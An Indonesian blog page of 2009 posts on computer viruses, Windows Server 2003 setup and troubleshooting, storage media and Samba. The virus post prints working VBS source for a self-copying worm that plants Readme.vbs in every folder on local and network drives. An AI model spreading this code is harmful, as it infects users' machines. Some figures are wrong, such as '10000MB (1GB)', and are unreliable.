THOUSANDS OF FREE BLOGGER TEMPLATES »

Senin, 12 Januari 2009

Hubungan Winserver 2003 dengan Virus



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak ( misalnya : dengan merusak data pada dokumen ), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Virus komputer umumnya dapat merusak perangkat lunak ( Software ) komputer dan tidak dapat secara langsung merusak perangkat keras ( Hardware ) komputer terutama pada sistem operasi , seperti sistem operasi berbasis Microsoft Windows ( Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Service Pack 1, Windows XP Service Pack 2 ) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer ( seperti : CPU Time, penggunaan memori ) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard), 2% lagi menyerang sistim operasi Unix, seperti : FreeBSD dan Sun Solaris.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak Anti Virus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data ( Database ) virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode program untuk menghapus virus tersebut.

Untuk mengetahui sejarah adanya virus komputer, kamu dapat membaca di Sejarah Perkembangan Malware Dunia ( Jadi ngga cuma di sekolah aja belajar sejarah ya! ;) ). Selain itu, untuk lebih memahami virus-virus lokal seperti : Brontok dan variannya, kamu bisa membacanya di sini. Beberapa triks untuk mengatasi serangan virus, dapat dilihat juga di tutorial cara mengatasi virus.

Supaya tahu lebih jauh tentang virus komputer, virus komputer dapat dibuat dengan bahasa pemrograman komputer, seperti : Visual Basic, Visual C++, VBS, JS, DOS Command, dan bahasa pemrograman lainnya. Sebagai contoh source code virus sederhana dengan menggunakan VBS, dapat dilihat pada Virus Readme dengan source code berikut :

‘VOVAN//SMF Readme.a

Set A=CreateObject(”Scripting.FileSystemObject”)
Set B=CreateObject(”WScript.Shell”)
B.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon”,”shell32.dll,-152″
Set C=A.Drives
For Each Drive In C
If Drive.DriveType=2 Or Drive.DriveType=3 Then Onward Drive.Path &”\”
Next
Function Onward(D)
Set E=A.GetFolder(D)
Set F=E.SubFolders
For Each G In F
A.CopyFile Wscript.ScriptFullName, G&”\Readme.vbs”
Onward(G)
Next
End Function

Dengan demikian, dapat diketahui bahwa virus komputer merupakan kode program yang disalahgunakan oleh programmer pembuat-nya, baik untuk kepentingan pribadi maupun untuk kepentingan lainnya, sehingga menimbulkan keresahan bagi pengguna komputer lain. Nah kalau begitu, kesimpulannya kembali ke tanggung jawab moral masing-masing dech! ;




Read More......

Rabu, 07 Januari 2009

Troubleshooting pada Windows Server 2003


Gejala: Setelah Anda mengubah password administrator pada server 2003, Anda tidak dapat mengakses beberapa informasi seperti server event log.





Cause: When using Reset Password on Local Users and Groups, that may cause irreversible loss of information. Menyebabkan: Bila menggunakan RESET Sandi Lokal Users and Groups, yang dapat menyebabkan hilangnya informasi yg tak dpt diubah. You should use Ctrl+Alt+Del instead of Reset Password to change administrator password. Anda harus menggunakan Ctrl + Alt + Del, bukan Reset Password untuk mengubah password administrator.
Some Services Do Not Start After You Upgrade to Win 2003 Beberapa Layanan Tidak Mulai Setelah Anda Upgrade ke Win 2003
Symptoms: After you upgrade your w2k to 2003, when attempting to start the computer, some Windows services do not start. Gejala: Setelah Anda meng-upgrade w2k ke 2003, ketika mencoba untuk memulai komputer, beberapa layanan Windows tidak dimulai. Additionally, you may receive a message that states that the page file is too small or that you do not have a page file. Selain itu, Anda mungkin akan menerima pesan yang menyatakan bahwa halaman file yang terlalu kecil atau yang tidak memiliki halaman file.
Resolutions: This behavior occurs if you removed Read & Execute, List Folder Contents and Read permissions for the Authenticated Users group on the drive where Windows is installed before you upgrade to 2003. Resolusi: perilaku ini terjadi jika Anda hapus Baca & Jalankan, Daftar Isi Folder dan Baca izin untuk dikonfirmasi User grup pada drive di mana Windows diinstal sebelum anda meng-upgrade ke 2003. To resolve this issue, add the Authenticated Users group to the drive where Windows is installed, and then assign permissions. Untuk mengatasi masalah ini, tambahkan ke grup dikonfirmasi User drive di mana Windows terinstal, dan kemudian memberikan izin.
"STOP 0x0000008E" Error Message Occurs When You Upgrade to Windows Server 2003 "STOP 0x0000008E" Pesan Kesalahan terjadi jika Anda Upgrade ke Windows Server 2003
Symptoms: When attempting to upgrade a 2000 Server computer to Server 2003, you may receive a Stop error message similar to the following during the text-mode portion of Setup: STOP: 0x0000008E (0xC0000006, 0x808F1210, 0xFC99F5C0). Gejala: Ketika mencoba untuk meng-upgrade sebuah komputer Server 2000 ke Server 2003, Anda mungkin akan menerima pesan kesalahan Berhenti serupa dengan berikut ini pada teks-mode dari Setup: STOP: 0x0000008E (0xC0000006, 0x808F1210, 0xFC99F5C0). Additionally, you can no longer access the partition that contains the operating system. Selain itu, Anda tidak lagi dapat mengakses partisi yang berisi sistem operasi.

Resolutions: To avoid this problem, remove the disk that contains the Winnt.sif file from the computer's floppy disk drive before you upgrade to Server 2003. Resolusi: Untuk menghindari masalah ini, hapus disk yang berisi Winnt.sif file dari komputer floppy disk drive sebelum anda meng-upgrade ke Server 2003. The Winnt.sif file is only used in unattended installations. Winnt.sif file yang hanya digunakan dalam instalasi tanpa perawatan. Do not use it with the repartition=yes parameter when you upgrade a 2000 server to Server 2003. Jangan gunakan dengan repartition = yes parameter ketika anda meng-upgrade sebuah server 2000 ke Server 2003.
Windows 2000 Pro or 2003 Server Is Inaccessible from the Domain 2000 Pro atau Windows Server 2003 is Inaccessible dari Domain
Symptoms: When attempting to connect to a Windows 2000 Pro or 2003 server from other computers on the network, you may receive one of the following error messages. Gejala: Ketika mencoba untuk menyambung ke Windows 2000 Pro atau 2003 server dari komputer lain pada jaringan, Anda mungkin menerima salah satu pesan kesalahan berikut.

* From a Microsoft Windows NT Server 4.0-based computer, you receive the following error message: Error = There are currently no logon servers available to service the logon request. Dari Microsoft Windows NT Server 4,0 berbasis komputer, Anda menerima pesan kesalahan berikut: Error = Saat ini tidak ada logon server tersedia untuk melayani permintaan logon.
* From a Microsoft Windows 98-based computer, you receive the following error message: Error 2215: serverrname is not accessible. Dari Microsoft Windows 98 berbasis komputer, Anda menerima pesan kesalahan berikut: Error 2215: serverrname tidak dapat diakses. The logon server cannot be found Logon server yang tidak dapat ditemukan

The Windows 2000 Pro or 2003 server is logged on to the domain and can connect to everything else on the network, but Event Viewer shows that the computer cannot contact the domain controller. Windows 2000 Pro atau 2003 server login ke domain dan dapat terhubung ke semua orang lain pada jaringan, tetapi Even Viewer menunjukkan bahwa komputer tidak dapat menghubungi domain controller. The Netdiag utility reports that the computer is logged on to the domain through cached credentials. Utilitas yang Netdiag laporan bahwa komputer ini login ke domain melalui credentials cache.

Resolutions : To resolve this behavior, join the Windows 2000 Pro or 2003 server to a workgroup named WORKGROUP, and then restart the computer. Resolusi: Untuk ini perilaku tersebut, bergabung dengan Windows 2000 Pro atau 2003 server yang bernama workgroup WORKGROUP, kemudian restart komputer. Rejoin the computer to the domain, and then restart the computer again. Bergabung kembali komputer ke domain, dan kemudian restart komputer lagi. The computer no longer logs on through cached credentials. Komputer tidak lagi pada log cache melalui surat.

Read More......

Setup Windows Server 2003



Artikel ini adalah tutorial singkat mengenai instalasi Windows Server 2003 ke komputer PC untuk digunakan dalam sistem Voucha II. Jika Anda menggunakan server built-up seperti IBM xSeries atau Dell PowerEdge, anda harus baca manual instalasi yang disertakan bersama server tersebut. Instalasi ini dapat diterapkan pada :
1. Windows Server 2003 x86
2. Windows Server 2003 x86 Service Pack 1
3. Windows Server 2003 x86 R2
4. Windows Server 2003 x86 Service Pack 2


Instalasi Windows Server 2003 hampir mirip dengan instalasi Windows XP dan sama mudahnya. Hal-hal yang perlu Anda siapkan:
1. CD/DVD instalasi Windows Server 2003 (Enterprise Edition)
2. CD/DVD driver untuk motherboard, video card, sound card, ethernet card, dll.
3. PC dengan RAM minimum 256 (disarankan 512MB atau lebih), hardisk 20GB (disarankan 40GB atau lebih), video card true-color dengan resolusi 1024×768.
Baiklah mari kita mulai:
Boot komputer dengan CD Windows Server 2003
Atur konfigurasi BIOS agar melakukan boot ke CD/DVD ROM. Masukkan CD/DVD Windows Server 2003. Anda akan mendapatkan layar selamat datang di setup Windows Server 2003.

Tekan tombol ‘ENTER’ di keyboard. Anda akan menuju ke layar EULA





Tekan ‘F8′ di keyboard untuk persetujuan lisensi Windows Server 2003.

Membuat Partisi

Jika hardisk Anda masih kosong, anda harus membuat partisi untuk sistem Windows Server 2003. Tekan ‘C’ untuk membuat partisi dan masukkan ukuran partisi yang dibutuhkan, misal 10000MB (1GB).


Jika sudah selesai, tekan ‘ENTER’.
Format partisi tersebut dengan filesystem NTFS dengan metode quickformat.


Tekan ‘ENTER’. Windows Server 2003 Setup memformat partisi hardisk Anda.


Setelah format selesai, Windows Server 2003 Setup meng-copy file-file ke partisi Windows.



Setelah selesai, Windows Server 2003 Setup akan me-restart komputer dan boot ulang


Windows Server Setup GUI



Tunggu beberapa saat sampai muncul Wizard berikut:



Pilih ‘Customize’, dan lakukan setting seperti screen di bawah ini.



Klik ‘OK’, kembali ke layar sebelumnya dan klik ‘Next’.



Isi dengan Nama Anda dan Nama Perusahaan Anda. Kemudian klik ‘Next’.



Isi dengan CD key Windows Server 2003 yang disertakan bersama CD Windows Server 2003. Klik ‘Next’



Pilih Licensing Mode ‘Per Server’ dan isi dengan jumlah koneksi yang dibutuhkan. Klik ‘Next’.



Isi ‘Computer Name’ dan password untuk Administrator. Klik ‘Next’.



Pilih ‘Time Zone’ dengan (GMT +07:00 ) Bangkok, Hanoi, Jakarta. Klik ‘Next’. Setup akan melakukan instalasi Network.





PIlih ‘Custom settings’ dan klik ‘Next’.



Pilih komponen ‘Internet Protocol (TCP/IP)’ dan klik ‘Properties’.



Isi ‘IP address’, ‘Subnet mask:’, ‘Default gateway:’ sesuai konfigurasi network Anda. Klik ‘OK’. Kemudian klik ‘Next’.



Isi nama Workgroup yang diinginkan, misalnya : ‘VOUCHA’. dan klik ‘Next’.



Setup mencopy file-file komponen ke partisi Windows. Setelah itu Setup akan melakukan restart dan boot ulang komputer Anda.



Selamat, Anda berhasil melakukan instalasi Windows Server 2003!
Technorati Tags: windows-server-2003




Setup Windows Server 2003 - Bagian 2

Pada Setup Windows Server 2003 - Bagian 1, kita telah melakukan instalasi Windows Server 2003 dengan konfigurasi standar. Beberapa konfigurasi lainnya masih harus dicustomize agar sesuai dengan kebutuhan sistem yang diharapkan.
Pada bagian ke-2 ini, kita akan melakukan instalasi beberapa komponen tambahan yang diperlukan dan melakukan beberapa konfigurasi minimum untuk Windows Server 2003.
Instalasi Windows Server 2003 Service Pack 2
1. Masukkan CD Windows Server 2003 Service Pack 2
2. Jika Autorun tidak aktif, jalankan melalui menu Start.
Caranya:
1. Klik ‘Start’->’Run
2. Klik ‘Browse’. Pilih lokasi CD-ROM, dan pilih file ‘SRSP2.CMD’
3. Setup akan mengekstrak file-file instalasi dan menampilkan kotak dialog seperti berikut.



4. Klik ‘Next’ dan lanjutkan sampai selesai.
5. Restart


Instalasi Driver
Anda harus melakukan instalasi driver-driver hardware di komputer dengan CD/DVD instalasi hardware bersangkutan. Jika driver untuk Windows Server 2003 tidak ditemukan, coba dengan driver untuk Windows XP atau download dari website vendor bersangkutan.
Instalasi Internet Information Service (IIS)
1. Jalankan ‘Add or Remove Programs’ dari Control Panel
2. Klik button ‘Add/Remove Windows Components’
3. Double click ‘Application Server’



4. Double click ‘Internet Information Service (IIS)’



5. Pilih ‘File Transfer Protocol (FTP) Service’


6. Klik OK.

Membuat Partisi
Partisi untuk dokumen, database, dan file-file temporer sebaiknya dipisah. Untuk membuat partisi di Windows Server 2003, ikuti langkah berikut:
1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’
2. Pilih ‘Disk Management’


3. Klik ‘Disk 0′ pada daftar disk dan klik kanan.
4. Pilih ‘New Partition’
5. Pilih ‘Extended Partition’, isi ukuran partisi yang dibutuhkan dan klik ‘Next’
6. Pilih filesystem ‘NTFS’.
7. Ulangi langkah 1-6 untuk partisi yang lain.

Membuat User Account
Anda harus membuat user account khusus untuk pemakaian biasa dan jangan gunakan account Administrator. Gunakan account Administrator jika diperlukan, misalnya instalasi software atau hardware.
1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’
2. Pilih ‘Local Users and Groups’



3. Pilih ‘Users’
4. Klik kanan di daftar user dan pilih ‘New User’
5. Isi dengan nama user yang Anda inginkan.



6. Klik ‘Create’
Selamat, Windows Server 2003 telah siap digunakan sebagai Server. Untuk menggunakan Voucha II, Anda perlu melakukan instalasi Microsoft SQL Server 2000 dan Microsoft SQL Server 2000 - Service Pack 4.
Technorati Tags: windows-server-2003

Read More......

kelebihan dan kekurangan sistem operasi windows dengan yang laen

Kelebihan :
Banyak orang pakai Windows sehingga banyak perusahan membuat aplikasinya menggunakan dasar Windows. Ada beberapa aplikasi yang hanya ada di Windows dan tidak di OS yang lainnya. Bahkan beberapa aplikasi vital dunia kerja.

Karena systemnya sudah dishare untuk bisa dikembangkan (bukan di open lho), maka semakin mudah siapa saja membuat software untuk dijalankan di Mircosoft Windows. Terutama dunia usaha yang membutuhkan aplikasi yang sesuai dengan kebutuhannya.





Perkembangan paling cepat dibanding software lainnya karena banyak perusahaan software yang konsisten menciptakan kemajuan pada sistem operasi Windows.

Banyak gratisan GPL dan Freeware ditawarkan untuk Windows.

Kalau ada masalah mudah menyelesaikannya sebab hampir semua orang bisa, dan mencari ahlinya juga tidak sulit disekitar kita.

Kelebihan yang lain... duitnya banyak. Kalau duitnya banyak mau apa saja lebih unggul dari lainnya.

Kekurangan:
Harganya paling mahal dibanding OS yang lainnya
Banyak orang tahu bahasa pemrogamannya dan banyak orang pakai karena itu banyak juga yang buat virus untuk Windows dibanding yang lainnya (lebih cepat beken dan tersebar tentunya).


Karena semua orang atau software bisa utak-utik system Windows karena itu sering kali jadi ngadat dan ngaco.
Ada banyak versi sehingga kalau mau yang powerfull harus bayar lebih mahal.
Ringkih... jadi kalau dipakai setahun, udah pasti anda harus membeli CPU baru demi performa karena OS anda sudah gak bisa dirapikan lagi.... kaya orang sudah jeroannya banyak lemaknya.

Read More......

media penyimpanan di flasdisk


USB Flash Drive atau yang lebih dikenal dengan UFD atau flash disk merupakan sebuah periperal komputer yang populer pada sekarang ini. Flash disk sendiri sejatinya adalah sebuah alat penyimpanan data berbasis flash memory yang diintegrasikan dengan USB (Universal Serial Bus) konektor.


Flash disk pada umumnya berbentuk kecil dan ringan. Sehingga mudah untuk dibawa kemana-mana (bersifat portabel) dan memiliki kemampuan penyimpanan data yang cukup besar (mulai dari 8 mb hingga 16 gb). Selain itu, flash disk juga telah didukung oleh banyak sistem operasi (windows, linux, macintosh, dsb) dan tidak perlu di install (komputer akan dengan sendirinya menginstal sebuah driver flash disk – hal ini berlaku untuk sistem operasi modern). Hal ini membuat flash disk menjadi media penyimpanan portabel yang paling banyak digunakan oleh pengguna komputer.
Inti dari teknologi flash disk ialah penggunaan flash memory. Flash memory sendiri merupakan pengembangan dari teknologi EPROM (yang kemudian dikembangkan menjadi EEPROMS – yang sekarang lebih dikenal tempat penyimpanan bios kmputer). Flash memory sendiri dirancang sebagai sebuah memori yang bisa menyimpan data, data yang disimpan bisa dihapus dan data ditulis kembali dengan mudah. Hal ini membuat flash disk hampir sama dengan hard disk atau floppy disk (sebagai media penyimpanan yang bisa ditulis berulang kali). namun jika hard disk atau floppy disk menggunakan sebuah alat mekanik (berbentuk jarum) untuk membaca dan menulis data, maka flash disk menggunakan sebuah kontroler (berbentuk chip) yang bertugas untuk menulis dan membaca data pada flash memory. Hal ini juga yang membuat flash disk bentuknya bisa kecil dan ringan.
Sebagai alat yang berbasis teknologi flash memory, flash disk memiliki sebuah “waktu hidup” yang terbilang tidak lama. Pada umumnya sebuah flash disk hanya bisa digunakan sebanyak 50000 hingga 150000 kali saja (dalam hal ini penggunaan baik membaca maupun menulis data).
Flashdisk Pertama
Ada beberapa perusahaan yang mengklaim sebagai pembuat flash disk pertama. Trek, merupakan perusahaan yang pertama menjual flash disk pada tahun 2000. Trek menamakan flash disk tersebut Thumbdrive.
Sebuah perusahaan, M-systems, juga telah bekerja mengembangkan flash disk sejak tahun 1998. mereka mempopulerkan flash disk dengan merk disk on key. Sebuah perusahaan teknologi, Lexar, juga mengklaim sebagai pionir dalam pembuatan flash disk. Pada sekarang ini ada banyak pengembang flash disk seperti sandisk, kingston, umax, nexus, dsb.
Flash disk pertama menggunakan teknologi USB 1.1. teknologi USB 1.1 menjanjikan transfer data sebesar 12 Mbps. sekarang, sebuah flash disk sudah mendukung teknologi USB 2.0 yang menjanjikan transfer data sebesar 480 Mbps. akan tetapi, dikarenakan adanya batasan pada teknolog flash memory, nilai transfer sebenarnya dari sebuah flash disk jauh daripada spesifikasi yang ditawarkan.
Kegunaan Flash disk.
Kegunaan flash disk tentu saja sebagai media penyimpanan data yang bersifat portabel (mudah dibawa kemana-mana). Adapun kegunaan khusus flash disk antara lain:
1. sebagai media penyimpanan data pribadi
2. sebagai alat untuk mem-boot komputer
3. pada windows vista, flash disk bisa digunakan sebgaia tambahan untuk memori sistem
4. sebagai pemutar musik portabel (MP3 player)
5. sebagai alat bantu untuk para system administrator dan teknisi komputer

Read More......

Senin, 05 Januari 2009

Media Penyimpanan Hardisk


Hard disk (hard drive atau fixet disk) media ini bersifat non-volatile, artinya dapat menyimpan data meskipun tidak ada aliran listrik. Selain sebagai penyimpanan data, hard disk juga berfungsi sebagai boot device. Hard disk merupakan salah satu jenis piringan magnetic yang memiliki kapasitas yang besar. Hard disk memiliki piringan metal yang dapat dilapisi dengan bahan yang memungkinkan data dapat disimpan dalam bentuk titik-titik. Kapasitas (kemampuan) Hard disk yang saat ini beredar dipasaran berkisar antara 20 GB sampai 40 GB.

Read More......

Senin, 27 Oktober 2008

Tutorial Samba

Kuliah Umum IlmuKomputer.ComCopyright © 2004 IlmuKomputer.ComTutorial Samba Tutorial SambaAskari Azikindaeng_rewa@students.stttelkom.ac.idAbstrak:Samba (server message block) adalah protokol file sharing dan printer sharing untuk menyaingi protokol yangtelah ada yakni Novell’s IPX-based. SMB ini merupakan protokol file sharing dan printer sharing pertama yangdapat berjalan pada multi protokol: TCP/IP, NetBEUI, IPX/SPX. Dengan kata lain SMB server dapatmenggantikan posisi Novell server tanpa harus merubah infrastruktur dari jaringan itu sendiri.
Server LAN untuk pemakai Ms-Windows dan GNU/LinuxSamba (server message block) adalah protokol file sharing dan printer sharing untuk menyaingiprotokol yang telah ada yakni Novell’s IPX-based. SMB ini merupakan protokol file sharing danprinter sharing pertama yang dapat berjalan pada multi protokol: TCP/IP, NetBEUI, IPX/SPX.Dengan kata lain SMB server dapat menggantikan posisi Novell server tanpa harus merubahinfrastruktur dari jaringan itu sendiri.Konfigurasi SambaLogin sebagai user root, kemudian lakukan editing dengan menggunakan text editor pada file /etc/samba/smb.confkari@debian:~# pico /etc/samba/smb.confBerikut file konfigurasi samba.conf :[global]# Change this for the workgroup/NT-domain name your Samba server will partofworkgroups = edo391Lisensi Dokumen:Copyright © 2004 IlmuKomputer.ComSeluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secarabebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau merubahatribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen. Tidakdiperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu dariIlmuKomputer.Com.Kuliah Umum IlmuKomputer.ComCopyright © 2004 IlmuKomputer.Com# server string is the equivalent of the NT Description fieldserver string = %h server (Samba %v); guest account = nobodyinvalid users = root# If you want Samba to log though syslog only then set the following# parameter to 'yes'. Please note that logging through syslog in# Samba is still experimental.; syslog only = no# We want Samba to log a minimum amount of information to syslog.Everything# should go to /var/log/samba/log.{smb,nmb} instead. If you want to log# through syslog you should set the following parameter to somethinghigher.syslog = 0# "security = user" is always a good idea. This will require a Unixaccount# in this server for every user accessing the server. See# security_level.txt for details.; security = user# You may wish to use password encryption. Please read ENCRYPTION.txt,# Win95.txt and WinNT.txt in the Samba documentation. Do not enable this# option unless you have read those documentsencrypt passwords = false# Using the following line enables you to customise your configuration# on a per machine basis. The %m gets replaced with the netbios name# of the machine that is connecting; include = /home/samba/etc/smb.conf.%m# Most people will find that this option gives better performance.# See speed.txt and the manual pages for details# You may want to add the following on a Linux system:# SO_RCVBUF=8192 SO_SNDBUF=8192socket options = TCP_NODELAY# --- Browser Control Options ---# Please _read_ BROWSING.txt and set the next four parameters according# to your network setup. The defaults are specified below (commented# out.) It's important that you read BROWSING.txt so you don't break# browsing in your network!# set local master to no if you don't want Samba to become a master# browser on your network. Otherwise the normal election rules apply; local master = yes2Kuliah Umum IlmuKomputer.ComCopyright © 2004 IlmuKomputer.Com# OS Level determines the precedence of this server in master browser# elections. The default value should be reasonable; os level = 20# --- End of Browser Control Options ---# Windows Internet Name Serving Support Section:# WINS Support - Tells the NMBD component of Samba to enable it's WINSServer; wins support = no# WINS Server - Tells the NMBD components of Samba to be a WINS Client# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both; wins server = w.x.y.z# This will prevent nmbd to search for NetBIOS names through DNS.dns proxy = no# What naming service and in what order should we use to resolve hostnames# to IP addresses; name resolve order = lmhosts host wins bcast# Name mangling options; preserve case = yes; short preserve case = yes# This boolean parameter controlls whether Samba attempts to sync. theUnix# password with the SMB password when the encrypted SMB password in the# /etc/samba/smbpasswd file is changed.; unix password sync = false# For Unix password sync. to work on a Debian GNU/Linux system, thefollowing# parameters must be set (thanks to Augustin Luton <aluton@hybrigenics.fr>for# sending the correct chat script for the passwd program in DebianPotato).passwd program = /usr/bin/passwd %upasswd chat = *Enter\snew\sUNIX\spassword:* %n\n*Retype\snew\sUNIX\spassword:* %n\n .# This boolean controls whether PAM will be used for password changes# when requested by an SMB client instead of the program listed in# 'passwd program'. The default is 'no'.; pam password change = no# The following parameter is useful only if you have the linpopup package# installed. The samba maintainer and the linpopup maintainer are3Kuliah Umum IlmuKomputer.ComCopyright © 2004 IlmuKomputer.Com# working to ease installation and configuration of linpopup and samba.; message command = /bin/sh -c '/usr/bin/linpopup "%f" "%m" %s; rm %s' &obey pam restrictions = yes# Some defaults for winbind (make sure you're not using the ranges# for something else.); winbind uid = 10000-20000; winbind gid = 10000-20000; template shell = /bin/bash#======= Share Definitions ========[homes]comment = Home Directoriesbrowseable = yespublic = yesread only = yes[win_i]comment = berisi lagu - lagubrowseable = yesread only = yespublic = yesguest ok = yeswritable = nopath = /windows/win_i/# By default, the home directories are exported read-only. Change next# parameter to 'yes' if you want to be able to write to them.writable = no# File creation mask is set to 0700 for security reasons. If you want to# create files with group=rw permissions, set next parameter to 0775.create mask = 0700# Directory creation mask is set to 0700 for security reasons. If you wantto# create dirs. with group=rw permissions, set next parameter to 0775.directory mask = 0700# Un-comment the following and create the netlogon directory for DomainLogons# (you need to configure Samba to act as a domain controller too.);[netlogon]; comment = Network Logon Service; path = /home/samba/netlogon; guest ok = yes; writable = no; share modes = no4Kuliah Umum IlmuKomputer.ComCopyright © 2004 IlmuKomputer.Com[printers]comment = All Printersbrowseable = yespath = /tmpprintable = yespublic = yeswritable = nocreate mode = 0700locking = no# A sample share for sharing your CD-ROM with others.[cdrom]comment = Samba server's CD-ROMwritable = yeslocking = nopath = /cdrompublic = yes# The next two parameters show how to auto-mount a CD-ROM when the# cdrom share is accesed. For this to work /etc/fstab must contain# an entry like this:## /dev/scd0 /cdrom iso9660 defaults,noauto,ro,user 0 0## The CD-ROM gets unmounted automatically after the connection to the## If you don't want to use auto-mounting/unmounting make sure the CD# is mounted on /cdrom#; preexec = /bin/mount /cdrom; postexec = /bin/umount /cdromKeterangan:Workgroup : setiap host atau client yang terhubung ke dalam satu jaringan yang sama (satu group)baik windows ataupun linux harus memiliki workgroup yang sama.guest account : diset sebagai nobody; guest account ini mengatur pemberian hak izin write ke semuauserSecurity : option defaultnya adalah “user”, “share”, “server”, dan “domain”comment : komentar tentang drive tersebutpath : letak direktori yang akan dishareread-only : option defaultnya adalah “yes” sehingga semua host yang ada tidak dapatmelakukan perubahan apapun terhadap drive tersebut5Kuliah Umum IlmuKomputer.ComCopyright © 2004 IlmuKomputer.Comlocking : hak izin read only untuk filesystem ataupun perangkat device (CD-ROM)browseable : Option defaultnya adalah “yes” sehingga drive yang dishare akan tampak padakomputer lainPublic : option ini menyebabkan semua host dapat mengaksesfile atau direktori yang tershare tanpa adanya permintaan password dari komputer tersebutguest ok : fungsinya sama dengan publiccreate mode : option ini untuk mengatur hak–hak yang akan diberikan kepada host lain terhadap fileatau direktori yang akan dishare.writable : option ini memberikan hak azas kepada host lain untuk melakukan perubahan pada fileatau direktori yang anda share. Pilihan defaulnya adalah “no”.Setelah anda melakukan perubahan pada file konfigurasi di atas, restart kembali service samba andauntuk mendapatkan perubahan pada file konfigurasi tersebut. Perintah yang digunakan adalah:Kari@debian:~# /etc/init.d/samba restartUntuk melihat file atau direktori yang telah anda dan komputer lain share, anda dapat menggunakanbrowser konqueror yang mendukung protokol samba. Pada Url ketikkan smb://namahost atausmb://IP addressJika nama host atau IP_address yang anda masukkan ada dalam jaringan anda, maka konquerorwebrowser akan menampilkan isi dari direktori yang dishare oleh komputer lain.Selain mengakses file sharing dengan browser konqueror, anda juga menggunakan LinNeighborhoodyang tampilannya mirip dengan My Network Places pada microsoft windows.


Keterangan:
alamat ip anda masukkan sesuai dengan IP address komputer yang dituju (mis: 10.14.231.1)
Namahost diisi dengan namahost yang sesuai dengan komputer tujuan
Selain itu anda juga dapat menggunakan perintah pada konsole. Bagi anda yang senang
menggunakan konsole, maka anda perlu mencoba akses file sharing dengan text mode.
Beberapa perintah yang dapat digunakan untuk file sharing dengan samba:
6
Kuliah Umum IlmuKomputer.Com
Copyright © 2004 IlmuKomputer.Com
Akses file sharing dengan smbclient
Berikut ini adalah perintah yang digunakan dalam mengakses file sharing dengan menggunakan
perintah smbclient
kari@debian# smbclient –L //hostname/fileshare
added interface ip=192.168.1.2 bcast=192.168.1.255
nmask=255.255.255.0
password:
Domain=[CURTIS] OS =[unix] server=[samba 2.0.7]
Smb: \> dir
. D 0 Tue oct 24 18:58:00 2003
.. D 0 Tue oct 25 17:58:00 2003
data D 0 Mon oct 27 17:58:00 2003
Smb: \> cd data
Smb: \data\> dir
. D 0 Tue oct 24 18:58:00 2003
.. D 0 Tue oct 25 17:58:00matakuliah D 0 Tue
oct 25 17:58:00 2003
Smb: \data\> get matakuliah
Getting file matakuliah of size 3042 as matakuliah (86.8301 kb/s)
Smb: \data\> exit
Akses file sharing dengan smbsh dan smbfs
Selain menggunakan smbclient untuk akses file sharing dengan windows, smbsh dan smbfs juga
dapat digunakan sebagai alternatif lain dalam pengaksesan file sharing. Prinsip kerjanya adalah file
sharing yang ingin dibuka dengan mesin linux akan dimaping ke direktori/path yang ada pada mesin
linux. Perintah yang digunakan adalah:
kari@debian:~# insmod smbfs
kari@debian:~# smbmount //hostname/direktori$ /pathlinux –o
username=namauser,workgroup=Workgroup,uid=root,gid=staff,fmask=0664,dmask=0775
password:*****(password username yang anda masukkan)
kari@debian:~# cd /pathlinux/direktori$
kari@debian/direktori$# ls
atau
kari@debian:~#mount –t smbfs –o username=namauser //IP_address/direktori_share /pathlinux
kari@debian:~# cd /pathlinux/direktori_share
kari@debian/direktori$# ls
Keterangan:
7
Kuliah Umum IlmuKomputer.Com
Copyright © 2004 IlmuKomputer.Com
Perintah insmod digunakan untuk memastikan bahwa modul kernel smbfs telah terinstall pada
sistem.
hostname diisi dengan hostname tujuan yang ingin anda akses
direktori diisi dengan direktori yang ingin anda akses yang diakhiri dengan tanda dollar ($).
direktori_share diisi dengan direktori share orang yang ingin diakses oleh anda.
pathlinux diisi dengan direktori linux tempat anda memaping file sharing windows (misal:/mnt/).
username diisi dengan username yang ada pada komputer tujuan, bukan username yang ada pada
komputer anda.
workgroup diisi dengan workgroup yang anda gunakan
password diisi dengan password sesuai password dari username yang anda masukkan.
cat: Antara direktori$ dan /pathlinux serta direktori_share dan /pathlinux harus ada spasi yang
memisahkan.
Misal:
Anda ingin mengakses komputer lain dengan username debianlinux, sedangkan direktori yang anda
